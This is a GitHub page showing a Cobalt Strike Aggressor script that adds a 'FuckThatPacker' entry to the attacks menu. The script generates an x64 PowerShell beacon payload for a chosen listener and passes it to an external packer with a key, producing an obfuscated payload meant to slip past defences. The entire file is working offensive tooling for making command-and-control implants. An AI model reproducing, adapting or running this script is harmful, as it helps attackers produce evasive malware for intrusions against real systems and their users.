-
Notifications
You must be signed in to change notification settings - Fork 84
/
FuckThatPacker.cna
30 lines (27 loc) · 1.09 KB
/
FuckThatPacker.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sub generatePacker {
$key = $3['key'];
$listener = $3['listener'];
$output = $3['output'];
$data = artifact_payload($listener,"powershell","x64");
$handle = openf(">/tmp/temp_nonpacked.ps1");
writeb($handle, $data);
closef($handle);
$cmd = "/opt/Tools/FuckThatPacker/FuckThatPacker.py -k ". $key . " -p /tmp/temp_nonpacked.ps1 -o " . $output;
$out = exec($cmd);
$data = readAll($out);
println("[+] Packed payload stored in $output")
}
sub fuckThatPacker {
$dialog = dialog("FuckThatPacker", %(listener => "Listener: ", payload_type => "Payload Type: ", Output => "Output: "), &generatePacker);
dialog_description($dialog, "Generates a packed powershell payload.\n Author Unknow101");
drow_listener($dialog, "listener", "Listener: ");
drow_text($dialog, "key", "Key : ");
drow_text($dialog, "output", "Output : ");
dbutton_action($dialog, "Generate");
dialog_show($dialog);
}
popup attacks{
item ("FuckThatPacker", {
fuckThatPacker();
});
}